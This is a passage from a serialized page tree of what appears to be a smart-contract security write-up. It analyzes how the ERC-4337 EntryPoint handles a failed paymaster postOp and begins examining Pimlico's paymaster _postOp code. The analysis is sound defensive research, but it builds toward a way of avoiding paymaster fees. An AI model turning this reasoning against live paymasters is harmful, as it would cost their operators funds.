_getFreePtr",{"type":23,"tag":504,"props":104662,"children":104663},{"style":523},[104664],{"type":28,"value":2647},{"type":23,"tag":504,"props":104666,"children":104667},{"class":506,"line":1221},[104668,104672,104676,104681,104685,104689,104694],{"type":23,"tag":504,"props":104669,"children":104670},{"style":1012},[104671],{"type":28,"value":103608},{"type":23,"tag":504,"props":104673,"children":104674},{"style":511},[104675],{"type":28,"value":101831},{"type":23,"tag":504,"props":104677,"children":104678},{"style":523},[104679],{"type":28,"value":104680}," result ",{"type":23,"tag":504,"props":104682,"children":104683},{"style":598},[104684],{"type":28,"value":601},{"type":23,"tag":504,"props":104686,"children":104687},{"style":523},[104688],{"type":28,"value":104602},{"type":23,"tag":504,"props":104690,"children":104691},{"style":517},[104692],{"type":28,"value":104693},"getReturnData",{"type":23,"tag":504,"props":104695,"children":104696},{"style":523},[104697],{"type":28,"value":104698},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":504,"props":104700,"children":104701},{"class":506,"line":1276},[104702,104706,104711,104715,104719],{"type":23,"tag":504,"props":104703,"children":104704},{"style":544},[104705],{"type":28,"value":102271},{"type":23,"tag":504,"props":104707,"children":104708},{"style":523},[104709],{"type":28,"value":104710}," (result.length ",{"type":23,"tag":504,"props":104712,"children":104713},{"style":598},[104714],{"type":28,"value":9443},{"type":23,"tag":504,"props":104716,"children":104717},{"style":1440},[104718],{"type":28,"value":2023},{"type":23,"tag":504,"props":104720,"children":104721},{"style":523},[104722],{"type":28,"value":537},{"type":23,"tag":504,"props":104724,"children":104725},{"class":506,"line":1285},[104726,104731,104736],{"type":23,"tag":504,"props":104727,"children":104728},{"style":544},[104729],{"type":28,"value":104730},"                    emit",{"type":23,"tag":504,"props":104732,"children":104733},{"style":517},[104734],{"type":28,"value":104735}," UserOperationRevertReason",{"type":23,"tag":504,"props":104737,"children":104738},{"style":523},[104739],{"type":28,"value":2439},{"type":23,"tag":504,"props":104741,"children":104742},{"class":506,"line":1294},[104743],{"type":23,"tag":504,"props":104744,"children":104745},{"style":523},[104746],{"type":28,"value":104747},"                        opInfo.userOpHash,\n",{"type":23,"tag":504,"props":104749,"children":104750},{"class":506,"line":1302},[104751],{"type":23,"tag":504,"props":104752,"children":104753},{"style":523},[104754],{"type":28,"value":104755},"                        mUserOp.sender,\n",{"type":23,"tag":504,"props":104757,"children":104758},{"class":506,"line":1311},[104759],{"type":23,"tag":504,"props":104760,"children":104761},{"style":523},[104762],{"type":28,"value":104763},"                        mUserOp.nonce,\n",{"type":23,"tag":504,"props":104765,"children":104766},{"class":506,"line":1334},[104767],{"type":23,"tag":504,"props":104768,"children":104769},{"style":523},[104770],{"type":28,"value":104771},"                        result\n",{"type":23,"tag":504,"props":104773,"children":104774},{"class":506,"line":1370},[104775],{"type":23,"tag":504,"props":104776,"children":104777},{"style":523},[104778],{"type":28,"value":104779},"                    );\n",{"type":23,"tag":504,"props":104781,"children":104782},{"class":506,"line":1384},[104783],{"type":23,"tag":504,"props":104784,"children":104785},{"style":523},[104786],{"type":28,"value":1714},{"type":23,"tag":504,"props":104788,"children":104789},{"class":506,"line":1392},[104790,104795],{"type":23,"tag":504,"props":104791,"children":104792},{"style":517},[104793],{"type":28,"value":104794},"                _restoreFreePtr",{"type":23,"tag":504,"props":104796,"children":104797},{"style":523},[104798],{"type":28,"value":104799},"(freePtr);\n",{"type":23,"tag":504,"props":104801,"children":104802},{"class":506,"line":1400},[104803,104808,104812],{"type":23,"tag":504,"props":104804,"children":104805},{"style":523},[104806],{"type":28,"value":104807},"                mode ",{"type":23,"tag":504,"props":104809,"children":104810},{"style":598},[104811],{"type":28,"value":601},{"type":23,"tag":504,"props":104813,"children":104814},{"style":523},[104815],{"type":28,"value":104816}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":504,"props":104818,"children":104819},{"class":506,"line":1422},[104820],{"type":23,"tag":504,"props":104821,"children":104822},{"style":523},[104823],{"type":28,"value":1282},{"type":23,"tag":504,"props":104825,"children":104826},{"class":506,"line":1450},[104827],{"type":23,"tag":504,"props":104828,"children":104829},{"style":523},[104830],{"type":28,"value":1291},{"type":23,"tag":504,"props":104832,"children":104833},{"class":506,"line":1463},[104834],{"type":23,"tag":504,"props":104835,"children":104836},{"emptyLinePlaceholder":16},[104837],{"type":28,"value":1038},{"type":23,"tag":504,"props":104839,"children":104840},{"class":506,"line":1485},[104841,104845],{"type":23,"tag":504,"props":104842,"children":104843},{"style":544},[104844],{"type":28,"value":101867},{"type":23,"tag":504,"props":104846,"children":104847},{"style":523},[104848],{"type":28,"value":552},{"type":23,"tag":504,"props":104850,"children":104851},{"class":506,"line":1503},[104852,104856,104860,104864,104868,104872,104876,104880,104884],{"type":23,"tag":504,"props":104853,"children":104854},{"style":1012},[104855],{"type":28,"value":101879},{"type":23,"tag":504,"props":104857,"children":104858},{"style":523},[104859],{"type":28,"value":104043},{"type":23,"tag":504,"props":104861,"children":104862},{"style":598},[104863],{"type":28,"value":601},{"type":23,"tag":504,"props":104865,"children":104866},{"style":523},[104867],{"type":28,"value":104052},{"type":23,"tag":504,"props":104869,"children":104870},{"style":598},[104871],{"type":28,"value":3308},{"type":23,"tag":504,"props":104873,"children":104874},{"style":511},[104875],{"type":28,"value":104061},{"type":23,"tag":504,"props":104877,"children":104878},{"style":523},[104879],{"type":28,"value":13024},{"type":23,"tag":504,"props":104881,"children":104882},{"style":598},[104883],{"type":28,"value":1642},{"type":23,"tag":504,"props":104885,"children":104886},{"style":523},[104887],{"type":28,"value":104074},{"type":23,"tag":504,"props":104889,"children":104890},{"class":506,"line":1516},[104891,104895,104899],{"type":23,"tag":504,"props":104892,"children":104893},{"style":544},[104894],{"type":28,"value":77827},{"type":23,"tag":504,"props":104896,"children":104897},{"style":517},[104898],{"type":28,"value":104183},{"type":23,"tag":504,"props":104900,"children":104901},{"style":523},[104902],{"type":28,"value":104903},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":504,"props":104905,"children":104906},{"class":506,"line":1543},[104907],{"type":23,"tag":504,"props":104908,"children":104909},{"style":523},[104910],{"type":28,"value":1291},{"type":23,"tag":504,"props":104912,"children":104913},{"class":506,"line":1583},[104914],{"type":23,"tag":504,"props":104915,"children":104916},{"style":523},[104917],{"type":28,"value":875},{"type":23,"tag":24,"props":104919,"children":104920},{},[104921,104923,104928,104930,104935,104937,104943,104945,104951,104953,104958,104960,104970],{"type":28,"value":104922},"We observe that, in the happy path, ",{"type":23,"tag":56,"props":104924,"children":104926},{"className":104925},[],[104927],{"type":28,"value":104274},{"type":28,"value":104929}," is expected to not only execute the actual ",{"type":23,"tag":56,"props":104931,"children":104933},{"className":104932},[],[104934],{"type":28,"value":100933},{"type":28,"value":104936}," call, but also call ",{"type":23,"tag":56,"props":104938,"children":104940},{"className":104939},[],[104941],{"type":28,"value":104942},"_postExecution",{"type":28,"value":104944},". This means that the third failure handling path, which passes ",{"type":23,"tag":56,"props":104946,"children":104948},{"className":104947},[],[104949],{"type":28,"value":104950},"postOpReverted",{"type":28,"value":104952}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":56,"props":104954,"children":104956},{"className":104955},[],[104957],{"type":28,"value":104942},{"type":28,"value":104959}," call ",{"type":23,"tag":296,"props":104961,"children":104962},{},[104963,104965],{"type":28,"value":104964},"inside ",{"type":23,"tag":56,"props":104966,"children":104968},{"className":104967},[],[104969],{"type":28,"value":104274},{"type":28,"value":320},{"type":23,"tag":24,"props":104972,"children":104973},{},[104974,104976,104981],{"type":28,"value":104975},"Let's examine the ",{"type":23,"tag":56,"props":104977,"children":104979},{"className":104978},[],[104980],{"type":28,"value":104942},{"type":28,"value":104982}," code to understand where the revert might occur.",{"type":23,"tag":494,"props":104984,"children":104986},{"className":3455,"code":104985,"language":3454,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[104987],{"type":23,"tag":56,"props":104988,"children":104989},{"__ignoreMap":7},[104990,105005,105030,105049,105068,105080,105117,105124,105156,105173,105188,105204,105228,105253,105277,105299,105317,105334,105342,105360,105376,105409,105427,105434,105441,105449,105465,105497,105519,105526,105533,105540],{"type":23,"tag":504,"props":104991,"children":104992},{"class":506,"line":507},[104993,104997,105001],{"type":23,"tag":504,"props":104994,"children":104995},{"style":511},[104996],{"type":28,"value":88582},{"type":23,"tag":504,"props":104998,"children":104999},{"style":517},[105000],{"type":28,"value":104183},{"type":23,"tag":504,"props":105002,"children":105003},{"style":523},[105004],{"type":28,"value":2439},{"type":23,"tag":504,"props":105006,"children":105007},{"class":506,"line":540},[105008,105013,105017,105021,105026],{"type":23,"tag":504,"props":105009,"children":105010},{"style":511},[105011],{"type":28,"value":105012},"        IPaymaster",{"type":23,"tag":504,"props":105014,"children":105015},{"style":523},[105016],{"type":28,"value":320},{"type":23,"tag":504,"props":105018,"children":105019},{"style":529},[105020],{"type":28,"value":102543},{"type":23,"tag":504,"props":105022,"children":105023},{"style":529},[105024],{"type":28,"value":105025}," mode",{"type":23,"tag":504,"props":105027,"children":105028},{"style":523},[105029],{"type":28,"value":2484},{"type":23,"tag":504,"props":105031,"children":105032},{"class":506,"line":555},[105033,105037,105041,105045],{"type":23,"tag":504,"props":105034,"children":105035},{"style":511},[105036],{"type":28,"value":103491},{"type":23,"tag":504,"props":105038,"children":105039},{"style":511},[105040],{"type":28,"value":101831},{"type":23,"tag":504,"props":105042,"children":105043},{"style":529},[105044],{"type":28,"value":104479},{"type":23,"tag":504,"props":105046,"children":105047},{"style":523},[105048],{"type":28,"value":2484},{"type":23,"tag":504,"props":105050,"children":105051},{"class":506,"line":633},[105052,105056,105060,105064],{"type":23,"tag":504,"props":105053,"children":105054},{"style":1012},[105055],{"type":28,"value":104450},{"type":23,"tag":504,"props":105057,"children":105058},{"style":511},[105059],{"type":28,"value":101831},{"type":23,"tag":504,"props":105061,"children":105062},{"style":529},[105063],{"type":28,"value":75091},{"type":23,"tag":504,"props":105065,"children":105066},{"style":523},[105067],{"type":28,"value":2484},{"type":23,"tag":504,"props":105069,"children":105070},{"class":506,"line":687},[105071,105075],{"type":23,"tag":504,"props":105072,"children":105073},{"style":1012},[105074],{"type":28,"value":88760},{"type":23,"tag":504,"props":105076,"children":105077},{"style":529},[105078],{"type":28,"value":105079}," actualGas\n",{"type":23,"tag":504,"props":105081,"children":105082},{"class":506,"line":736},[105083,105087,105092,105097,105101,105105,105109,105113],{"type":23,"tag":504,"props":105084,"children":105085},{"style":523},[105086],{"type":28,"value":104507},{"type":23,"tag":504,"props":105088,"children":105089},{"style":511},[105090],{"type":28,"value":105091},"internal",{"type":23,"tag":504,"props":105093,"children":105094},{"style":511},[105095],{"type":28,"value":105096}," virtual",{"type":23,"tag":504,"props":105098,"children":105099},{"style":544},[105100],{"type":28,"value":74744},{"type":23,"tag":504,"props":105102,"children":105103},{"style":523},[105104],{"type":28,"value":801},{"type":23,"tag":504,"props":105106,"children":105107},{"style":1012},[105108],{"type":28,"value":45147},{"type":23,"tag":504,"props":105110,"children":105111},{"style":529},[105112],{"type":28,"value":102572},{"type":23,"tag":504,"props":105114,"children":105115},{"style":523},[105116],{"type":28,"value":537},{"type":23,"tag":504,"props":105118,"children":105119},{"class":506,"line":785},[105120],{"type":23,"tag":504,"props":105121,"children":105122},{"style":523},[105123],{"type":28,"value":103552},{"type":23,"tag":504,"props":105125,"children":105126},{"class":506,"line":813},[105127,105131,105136,105140,105144,105148,105152],{"type":23,"tag":504,"props":105128,"children":105129},{"style":544},[105130],{"type":28,"value":57780},{"type":23,"tag":504,"props":105132,"children":105133},{"style":523},[105134],{"type":28,"value":105135}," (paymaster ",{"type":23,"tag":504,"props":105137,"children":105138},{"style":598},[105139],{"type":28,"value":7559},{"type":23,"tag":504,"props":105141,"children":105142},{"style":1012},[105143],{"type":28,"value":5233},{"type":23,"tag":504,"props":105145,"children":105146},{"style":523},[105147],{"type":28,"value":526},{"type":23,"tag":504,"props":105149,"children":105150},{"style":1440},[105151],{"type":28,"value":3001},{"type":23,"tag":504,"props":105153,"children":105154},{"style":523},[105155],{"type":28,"value":34170},{"type":23,"tag":504,"props":105157,"children":105158},{"class":506,"line":851},[105159,105164,105168],{"type":23,"tag":504,"props":105160,"children":105161},{"style":523},[105162],{"type":28,"value":105163},"                refundAddress ",{"type":23,"tag":504,"props":105165,"children":105166},{"style":598},[105167],{"type":28,"value":601},{"type":23,"tag":504,"props":105169,"children":105170},{"style":523},[105171],{"type":28,"value":105172}," mUserOp.sender;\n",{"type":23,"tag":504,"props":105174,"children":105175},{"class":506,"line":869},[105176,105180,105184],{"type":23,"tag":504,"props":105177,"children":105178},{"style":523},[105179],{"type":28,"value":1200},{"type":23,"tag":504,"props":105181,"children":105182},{"style":544},[105183],{"type":28,"value":2293},{"type":23,"tag":504,"props":105185,"children":105186},{"style":523},[105187],{"type":28,"value":552},{"type":23,"tag":504,"props":105189,"children":105190},{"class":506,"line":878},[105191,105195,105199],{"type":23,"tag":504,"props":105192,"children":105193},{"style":523},[105194],{"type":28,"value":105163},{"type":23,"tag":504,"props":105196,"children":105197},{"style":598},[105198],{"type":28,"value":601},{"type":23,"tag":504,"props":105200,"children":105201},{"style":523},[105202],{"type":28,"value":105203}," paymaster;\n",{"type":23,"tag":504,"props":105205,"children":105206},{"class":506,"line":1221},[105207,105211,105216,105220,105224],{"type":23,"tag":504,"props":105208,"children":105209},{"style":544},[105210],{"type":28,"value":102271},{"type":23,"tag":504,"props":105212,"children":105213},{"style":523},[105214],{"type":28,"value":105215}," (context.length ",{"type":23,"tag":504,"props":105217,"children":105218},{"style":598},[105219],{"type":28,"value":9443},{"type":23,"tag":504,"props":105221,"children":105222},{"style":1440},[105223],{"type":28,"value":2023},{"type":23,"tag":504,"props":105225,"children":105226},{"style":523},[105227],{"type":28,"value":537},{"type":23,"tag":504,"props":105229,"children":105230},{"class":506,"line":1276},[105231,105236,105240,105244,105248],{"type":23,"tag":504,"props":105232,"children":105233},{"style":523},[105234],{"type":28,"value":105235},"                    actualGasCost ",{"type":23,"tag":504,"props":105237,"children":105238},{"style":598},[105239],{"type":28,"value":601},{"type":23,"tag":504,"props":105241,"children":105242},{"style":523},[105243],{"type":28,"value":104043},{"type":23,"tag":504,"props":105245,"children":105246},{"style":598},[105247],{"type":28,"value":3552},{"type":23,"tag":504,"props":105249,"children":105250},{"style":523},[105251],{"type":28,"value":105252}," gasPrice;\n",{"type":23,"tag":504,"props":105254,"children":105255},{"class":506,"line":1285},[105256,105260,105265,105269,105273],{"type":23,"tag":504,"props":105257,"children":105258},{"style":1012},[105259],{"type":28,"value":102228},{"type":23,"tag":504,"props":105261,"children":105262},{"style":523},[105263],{"type":28,"value":105264}," postOpPreGas ",{"type":23,"tag":504,"props":105266,"children":105267},{"style":598},[105268],{"type":28,"value":601},{"type":23,"tag":504,"props":105270,"children":105271},{"style":511},[105272],{"type":28,"value":104061},{"type":23,"tag":504,"props":105274,"children":105275},{"style":523},[105276],{"type":28,"value":2647},{"type":23,"tag":504,"props":105278,"children":105279},{"class":506,"line":1294},[105280,105285,105290,105294],{"type":23,"tag":504,"props":105281,"children":105282},{"style":544},[105283],{"type":28,"value":105284},"                    if",{"type":23,"tag":504,"props":105286,"children":105287},{"style":523},[105288],{"type":28,"value":105289}," (mode ",{"type":23,"tag":504,"props":105291,"children":105292},{"style":598},[105293],{"type":28,"value":14669},{"type":23,"tag":504,"props":105295,"children":105296},{"style":523},[105297],{"type":28,"value":105298}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":504,"props":105300,"children":105301},{"class":506,"line":1302},[105302,105307,105312],{"type":23,"tag":504,"props":105303,"children":105304},{"style":544},[105305],{"type":28,"value":105306},"                        try",{"type":23,"tag":504,"props":105308,"children":105309},{"style":517},[105310],{"type":28,"value":105311}," IPaymaster",{"type":23,"tag":504,"props":105313,"children":105314},{"style":523},[105315],{"type":28,"value":105316},"(paymaster).postOp{\n",{"type":23,"tag":504,"props":105318,"children":105319},{"class":506,"line":1311},[105320,105325,105329],{"type":23,"tag":504,"props":105321,"children":105322},{"style":523},[105323],{"type":28,"value":105324},"                                gas",{"type":23,"tag":504,"props":105326,"children":105327},{"style":598},[105328],{"type":28,"value":3472},{"type":23,"tag":504,"props":105330,"children":105331},{"style":523},[105332],{"type":28,"value":105333}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":504,"props":105335,"children":105336},{"class":506,"line":1334},[105337],{"type":23,"tag":504,"props":105338,"children":105339},{"style":523},[105340],{"type":28,"value":105341},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":504,"props":105343,"children":105344},{"class":506,"line":1370},[105345,105350,105355],{"type":23,"tag":504,"props":105346,"children":105347},{"style":1106},[105348],{"type":28,"value":105349},"                        // ",{"type":23,"tag":504,"props":105351,"children":105352},{"style":511},[105353],{"type":28,"value":105354},"solhint-disable",{"type":23,"tag":504,"props":105356,"children":105357},{"style":1106},[105358],{"type":28,"value":105359},"-next-line no-empty-blocks\n",{"type":23,"tag":504,"props":105361,"children":105362},{"class":506,"line":1384},[105363,105368,105372],{"type":23,"tag":504,"props":105364,"children":105365},{"style":523},[105366],{"type":28,"value":105367},"                        {} ",{"type":23,"tag":504,"props":105369,"children":105370},{"style":544},[105371],{"type":28,"value":796},{"type":23,"tag":504,"props":105373,"children":105374},{"style":523},[105375],{"type":28,"value":552},{"type":23,"tag":504,"props":105377,"children":105378},{"class":506,"line":1392},[105379,105384,105388,105393,105397,105401,105405],{"type":23,"tag":504,"props":105380,"children":105381},{"style":1012},[105382],{"type":28,"value":105383},"                            bytes",{"type":23,"tag":504,"props":105385,"children":105386},{"style":511},[105387],{"type":28,"value":101831},{"type":23,"tag":504,"props":105389,"children":105390},{"style":523},[105391],{"type":28,"value":105392}," reason ",{"type":23,"tag":504,"props":105394,"children":105395},{"style":598},[105396],{"type":28,"value":601},{"type":23,"tag":504,"props":105398,"children":105399},{"style":523},[105400],{"type":28,"value":104602},{"type":23,"tag":504,"props":105402,"children":105403},{"style":517},[105404],{"type":28,"value":104693},{"type":23,"tag":504,"props":105406,"children":105407},{"style":523},[105408],{"type":28,"value":104698},{"type":23,"tag":504,"props":105410,"children":105411},{"class":506,"line":1400},[105412,105417,105422],{"type":23,"tag":504,"props":105413,"children":105414},{"style":544},[105415],{"type":28,"value":105416},"                            revert",{"type":23,"tag":504,"props":105418,"children":105419},{"style":517},[105420],{"type":28,"value":105421}," PostOpReverted",{"type":23,"tag":504,"props":105423,"children":105424},{"style":523},[105425],{"type":28,"value":105426},"(reason);\n",{"type":23,"tag":504,"props":105428,"children":105429},{"class":506,"line":1422},[105430],{"type":23,"tag":504,"props":105431,"children":105432},{"style":523},[105433],{"type":28,"value":1611},{"type":23,"tag":504,"props":105435,"children":105436},{"class":506,"line":1450},[105437],{"type":23,"tag":504,"props":105438,"children":105439},{"style":523},[105440],{"type":28,"value":1705},{"type":23,"tag":504,"props":105442,"children":105443},{"class":506,"line":1463},[105444],{"type":23,"tag":504,"props":105445,"children":105446},{"style":1106},[105447],{"type":28,"value":105448},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":504,"props":105450,"children":105451},{"class":506,"line":1485},[105452,105456,105460],{"type":23,"tag":504,"props":105453,"children":105454},{"style":1106},[105455],{"type":28,"value":102293},{"type":23,"tag":504,"props":105457,"children":105458},{"style":511},[105459],{"type":28,"value":65739},{"type":23,"tag":504,"props":105461,"children":105462},{"style":1106},[105463],{"type":28,"value":105464}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":504,"props":105466,"children":105467},{"class":506,"line":1503},[105468,105472,105477,105481,105485,105489,105493],{"type":23,"tag":504,"props":105469,"children":105470},{"style":1012},[105471],{"type":28,"value":102228},{"type":23,"tag":504,"props":105473,"children":105474},{"style":523},[105475],{"type":28,"value":105476}," postOpGasUsed ",{"type":23,"tag":504,"props":105478,"children":105479},{"style":598},[105480],{"type":28,"value":601},{"type":23,"tag":504,"props":105482,"children":105483},{"style":523},[105484],{"type":28,"value":105264},{"type":23,"tag":504,"props":105486,"children":105487},{"style":598},[105488],{"type":28,"value":3308},{"type":23,"tag":504,"props":105490,"children":105491},{"style":511},[105492],{"type":28,"value":104061},{"type":23,"tag":504,"props":105494,"children":105495},{"style":523},[105496],{"type":28,"value":2647},{"type":23,"tag":504,"props":105498,"children":105499},{"class":506,"line":1516},[105500,105505,105509,105514],{"type":23,"tag":504,"props":105501,"children":105502},{"style":523},[105503],{"type":28,"value":105504},"                    postOpUnusedGasPenalty ",{"type":23,"tag":504,"props":105506,"children":105507},{"style":598},[105508],{"type":28,"value":601},{"type":23,"tag":504,"props":105510,"children":105511},{"style":517},[105512],{"type":28,"value":105513}," _getUnusedGasPenalty",{"type":23,"tag":504,"props":105515,"children":105516},{"style":523},[105517],{"type":28,"value":105518},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":504,"props":105520,"children":105521},{"class":506,"line":1543},[105522],{"type":23,"tag":504,"props":105523,"children":105524},{"style":523},[105525],{"type":28,"value":1714},{"type":23,"tag":504,"props":105527,"children":105528},{"class":506,"line":1583},[105529],{"type":23,"tag":504,"props":105530,"children":105531},{"style":523},[105532],{"type":28,"value":1282},{"type":23,"tag":504,"props":105534,"children":105535},{"class":506,"line":1605},[105536],{"type":23,"tag":504,"props":105537,"children":105538},{"style":523},[105539],{"type":28,"value":103552},{"type":23,"tag":504,"props":105541,"children":105542},{"class":506,"line":1614},[105543],{"type":23,"tag":504,"props":105544,"children":105545},{"style":523},[105546],{"type":28,"value":875},{"type":23,"tag":24,"props":105548,"children":105549},{},[105550,105552,105557,105559,105565,105567,105573,105575,105580,105582,105587,105589,105594,105596,105601,105603,105608,105610,105615],{"type":28,"value":105551},"It turns out that if the ",{"type":23,"tag":56,"props":105553,"children":105555},{"className":105554},[],[105556],{"type":28,"value":101132},{"type":28,"value":105558}," call fails, it will revert with ",{"type":23,"tag":56,"props":105560,"children":105562},{"className":105561},[],[105563],{"type":28,"value":105564},"PostOpReverted",{"type":28,"value":105566},". However, as we can see in the previous code of ",{"type":23,"tag":56,"props":105568,"children":105570},{"className":105569},[],[105571],{"type":28,"value":105572},"_executeUserOp",{"type":28,"value":105574},", even though ",{"type":23,"tag":56,"props":105576,"children":105578},{"className":105577},[],[105579],{"type":28,"value":104274},{"type":28,"value":105581}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":56,"props":105583,"children":105585},{"className":105584},[],[105586],{"type":28,"value":104942},{"type":28,"value":105588}," call with ",{"type":23,"tag":56,"props":105590,"children":105592},{"className":105591},[],[105593],{"type":28,"value":104950},{"type":28,"value":105595}," mode, and it won't try to call ",{"type":23,"tag":56,"props":105597,"children":105599},{"className":105598},[],[105600],{"type":28,"value":101132},{"type":28,"value":105602}," again. This means the ",{"type":23,"tag":56,"props":105604,"children":105606},{"className":105605},[],[105607],{"type":28,"value":100993},{"type":28,"value":105609}," still gets paid for submitting the failed ",{"type":23,"tag":56,"props":105611,"children":105613},{"className":105612},[],[105614],{"type":28,"value":100933},{"type":28,"value":320},{"type":23,"tag":24,"props":105617,"children":105618},{},[105619,105621,105626,105628,105633,105635,105642],{"type":28,"value":105620},"Now that we understand this behavior where ",{"type":23,"tag":56,"props":105622,"children":105624},{"className":105623},[],[105625],{"type":28,"value":101132},{"type":28,"value":105627}," is allowed to fail while the ",{"type":23,"tag":56,"props":105629,"children":105631},{"className":105630},[],[105632],{"type":28,"value":100993},{"type":28,"value":105634}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":92,"props":105636,"children":105639},{"href":105637,"rel":105638},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[96],[105640],{"type":28,"value":105641},"Pimlico",{"type":28,"value":320},{"type":23,"tag":494,"props":105644,"children":105646},{"className":3455,"code":105645,"language":3454,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[105647],{"type":23,"tag":56,"props":105648,"children":105649},{"__ignoreMap":7},[105650,105665,105682,105702,105718,105730,105737,105744,105751,105782,105789,105814,105822,105829,105836,105865,105872,105888,105910,105917,105933,105983,105990,106006,106014,106047,106080,106088,106095,106102,106145,106152,106201,106227,106234,106241,106258],{"type":23,"tag":504,"props":105651,"children":105652},{"class":506,"line":507},[105653,105657,105661],{"type":23,"tag":504,"props":105654,"children":105655},{"style":511},[105656],{"type":28,"value":88582},{"type":23,"tag":504,"props":105658,"children":105659},{"style":517},[105660],{"type":28,"value":102534},{"type":23,"tag":504,"props":105662,"children":105663},{"style":523},[105664],{"type":28,"value":2439},{"type":23,"tag":504,"props":105666,"children":105667},{"class":506,"line":540},[105668,105673,105677],{"type":23,"tag":504,"props":105669,"children":105670},{"style":511},[105671],{"type":28,"value":105672},"        PostOpMode",{"type":23,"tag":504,"props":105674,"children":105675},{"style":523},[105676],{"type":28,"value":576},{"type":23,"tag":504,"props":105678,"children":105679},{"style":1106},[105680],{"type":28,"value":105681},"/* mode */\n",{"type":23,"tag":504,"props":105683,"children":105684},{"class":506,"line":555},[105685,105689,105693,105698],{"type":23,"tag":504,"props":105686,"children":105687},{"style":1012},[105688],{"type":28,"value":104450},{"type":23,"tag":504,"props":105690,"children":105691},{"style":511},[105692],{"type":28,"value":101763},{"type":23,"tag":504,"props":105694,"children":105695},{"style":529},[105696],{"type":28,"value":105697}," _context",{"type":23,"tag":504,"props":105699,"children":105700},{"style":523},[105701],{"type":28,"value":2484},{"type":23,"tag":504,"props":105703,"children":105704},{"class":506,"line":633},[105705,105709,105714],{"type":23,"tag":504,"props":105706,"children":105707},{"style":1012},[105708],{"type":28,"value":88760},{"type":23,"tag":504,"props":105710,"children":105711},{"style":529},[105712],{"type":28,"value":105713}," _actualGasCost",{"type":23,"tag":504,"props":105715,"children":105716},{"style":523},[105717],{"type":28,"value":2484},{"type":23,"tag":504,"props":105719,"children":105720},{"class":506,"line":687},[105721,105725],{"type":23,"tag":504,"props":105722,"children":105723},{"style":1012},[105724],{"type":28,"value":88760},{"type":23,"tag":504,"props":105726,"children":105727},{"style":529},[105728],{"type":28,"value":105729}," _actualUserOpFeePerGas\n",{"type":23,"tag":504,"props":105731,"children":105732},{"class":506,"line":736},[105733],{"type":23,"tag":504,"props":105734,"children":105735},{"style":523},[105736],{"type":28,"value":22898},{"type":23,"tag":504,"props":105738,"children":105739},{"class":506,"line":785},[105740],{"type":23,"tag":504,"props":105741,"children":105742},{"style":511},[105743],{"type":28,"value":101802},{"type":23,"tag":504,"props":105745,"children":105746},{"class":506,"line":813},[105747],{"type":23,"tag":504,"props":105748,"children":105749},{"style":523},[105750],{"type":28,"value":28168},{"type":23,"tag":504,"props":105752,"children":105753},{"class":506,"line":851},[105754,105759,105763,105768,105772,105777],{"type":23,"tag":504,"props":105755,"children":105756},{"style":523},[105757],{"type":28,"value":105758},"        ERC20PostOpContext ",{"type":23,"tag":504,"props":105760,"children":105761},{"style":511},[105762],{"type":28,"value":74723},{"type":23,"tag":504,"props":105764,"children":105765},{"style":523},[105766],{"type":28,"value":105767}," ctx 